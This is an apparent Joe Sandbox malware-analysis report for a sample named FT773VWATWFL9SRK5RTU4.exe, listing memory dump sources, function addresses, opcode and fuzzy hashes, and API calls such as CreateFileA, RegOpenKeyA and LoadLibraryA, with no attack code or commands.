Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F5000, based on PE: false

Associated: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmpDownload File
Associated: 00000000.00000003.1833813471.00000000007F1000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "?pr$0&re$1741$252&$3096$655&$8640$9999$TCP&$dle2
API String ID: 0-1706519206
Opcode ID: 16e54c047e56e548cc40841e0881149989c06a3c0ca7901b817e5ba2f2201e94
Instruction ID: 7eb54b36b9ead749ec7c96118c977806a3573bc7a36fd33a1bbec0b9323621f2
Opcode Fuzzy Hash: 16e54c047e56e548cc40841e0881149989c06a3c0ca7901b817e5ba2f2201e94
Instruction Fuzzy Hash: 39026A324093DEA9CB229F7487593727FA4FE6331072C04DEC7814A373E519A906D75A

Function 0078AAE7 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1833944782.0000000000783000.00000004.00000020.00020000.00000000.sdmp, Offset: 00783000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_783000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4968ca0c59d743dbdf3c92afc8d73a3fe7a868d986b01abcc753a43306bd24e6
Instruction ID: 95ae8f6f9fbfe6571eef58f4d3ee630c04d8ca79c2252358a6dde3d1483a44c3
Opcode Fuzzy Hash: 4968ca0c59d743dbdf3c92afc8d73a3fe7a868d986b01abcc753a43306bd24e6
Instruction Fuzzy Hash: F651581408E3C01FD7279B39486509ABF609D9313831EC7CFC4F68A8E3C619998AD3A3

Function 007FDFC9 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F5000, based on PE: false

Associated: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmpDownload File
Associated: 00000000.00000003.1833813471.00000000007F1000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4607a49251fdbdd58740698805ca73e7079df3f08450c7d28b72d7a2587262f2
Instruction ID: 09798c99aab5f502835bb4a3dfbd15c8a201443f78fd38928bf8bae326e2f91a
Opcode Fuzzy Hash: 4607a49251fdbdd58740698805ca73e7079df3f08450c7d28b72d7a2587262f2
Instruction Fuzzy Hash: 778156A281E7C04FE7038B7499296917FB09F17215F0E46EBC094CF0F7D2685819CB6A

Function 007FDFC9 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca265bf4779317e322b612cc05e352c8e3159a5c67cbe92be05a60c58db3aa5
Instruction ID: 09798c99aab5f502835bb4a3dfbd15c8a201443f78fd38928bf8bae326e2f91a
Opcode Fuzzy Hash: 3ca265bf4779317e322b612cc05e352c8e3159a5c67cbe92be05a60c58db3aa5
Instruction Fuzzy Hash: 778156A281E7C04FE7038B7499296917FB09F17215F0E46EBC094CF0F7D2685819CB6A

Function 007FC0F2 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F5000, based on PE: false

Associated: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmpDownload File
Associated: 00000000.00000003.1833813471.00000000007F1000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34c3c408a88e9360532a7fdc2d3643ee46d65650233b76360855a05e57b2114
Instruction ID: 4e353cbc19cde2b200c079c5450e5e5dbd21349d50efa8d19035deb66458ac57
Opcode Fuzzy Hash: c34c3c408a88e9360532a7fdc2d3643ee46d65650233b76360855a05e57b2114
Instruction Fuzzy Hash: 0551FD6240E7C99FD713CF34CA95A927FB4BF13320B1E46CAC1C08E167E2685519DBA2

Function 007FC0F2 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1728073796.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b38cc8af2ec44e561c71df7b82e133afc432980b70fa554bd66ff1fd153bc8f
Instruction ID: e2562e709fc92dba89fcc931a1d1a424d25b8d42601f87d6bd3d2e5be896a12b
Opcode Fuzzy Hash: 8b38cc8af2ec44e561c71df7b82e133afc432980b70fa554bd66ff1fd153bc8f
Instruction Fuzzy Hash: 9F51ED6240E7C99FD713CF34CA95A927FB4BF13320B1E46CAC4C08E167E2695519CBA2

Function 007EC128 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1784942272.00000000007E5000.00000004.00000020.00020000.00000000.sdmp, Offset: 007E5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7e5000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfb48066b1bfab659cb703030a7be33c1dbfd24d5ccdce3cd5aeddac1faef9e1
Instruction ID: 0088bf89554a7b8d103a48d127010778918f0594bfb38091b9fc1fb6da3c3bd3
Opcode Fuzzy Hash: cfb48066b1bfab659cb703030a7be33c1dbfd24d5ccdce3cd5aeddac1faef9e1
Instruction Fuzzy Hash: E531665508E7C19FC30347755C396907FB0AE53228B1E42DBC8C4CE0A3E65C196AD772

Analysis Process: FT773VWATWFL9SRK5RTU4.exePID: 6796, Parent PID: 6800COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	20.9%
Signature Coverage:	14%
Total number of Nodes:	43
Total number of Limit Nodes:	3

Executed Functions

Function 00BD3511 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BD35CB

Strings

C, xrefs: 00BD3614
PRRZ, xrefs: 00BD3598

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateFile
String ID: C$PRRZ
API String ID: 823142352-2873696997
Opcode ID: 5e41708e4ad033e7c627bb4a3c10a8ccc96f86bee3c94787838816710f7b424d
Instruction ID: 2879deca56ff501487773082b30f8f42e0047e7760c145670519e094f0471c0b
Opcode Fuzzy Hash: 5e41708e4ad033e7c627bb4a3c10a8ccc96f86bee3c94787838816710f7b424d
Instruction Fuzzy Hash: 36215EF61482066FE302CE24A854BDBBBD9EB95724F20456BE504C7A83E2A54E054775

Function 00BD31C7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BD325E

Strings

C, xrefs: 00BD3614

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 82b171b5df82ec8eb7616f8522ef3f4c446d338bc6cac19706c09577ad42a6c6
Instruction ID: c6d7be6db45634da4f1c5021cbd674efbc4bf5f9b16f76b088c8b36a03622d56
Opcode Fuzzy Hash: 82b171b5df82ec8eb7616f8522ef3f4c446d338bc6cac19706c09577ad42a6c6
Instruction Fuzzy Hash: 4831F7DB5C82513DE10286556B58AF6EBEDE683B30B3045BBF502D2643F2C54B0D2137

Function 00A5B7D2 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00A5B942

Memory Dump Source

Source File: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 1d48ca48a3e14fa483222bee8975a58f4a98567690c2c40b30ddb7fe22629524
Instruction ID: 1804acd64f0290e6eb1ecf13d377f7137c3afdb42cab1f3fdedb8abbd4a5fff5
Opcode Fuzzy Hash: 1d48ca48a3e14fa483222bee8975a58f4a98567690c2c40b30ddb7fe22629524
Instruction Fuzzy Hash: 95E0C231168985DADB26DF708A01799762DFB40703FA00125FE419AF86CB3D0D1A87B5

Function 00BDC4D2 Relevance: 4.6, APIs: 3, Instructions: 117
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00BDDCE5
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00BDDD0C
GetNativeSystemInfo.KERNELBASE(?), ref: 00BDDD63

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 4228da77749badc6b4d05a33b4f71f32224fc6ee9fffd1e57bb626e4f28d45b4
Instruction ID: 9a56a48577a6a2b2167c83e1aef54c9e568e9a1bd6c48072bc0853b5841d2408
Opcode Fuzzy Hash: 4228da77749badc6b4d05a33b4f71f32224fc6ee9fffd1e57bb626e4f28d45b4
Instruction Fuzzy Hash: F94183B251810E9FDF11DF20C9846EF7BE5EF44310F10456AE98686A41E7B64CA4CF5A

Function 00BCF412 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BCF412

Strings

l,?, xrefs: 00BCF473

Memory Dump Source

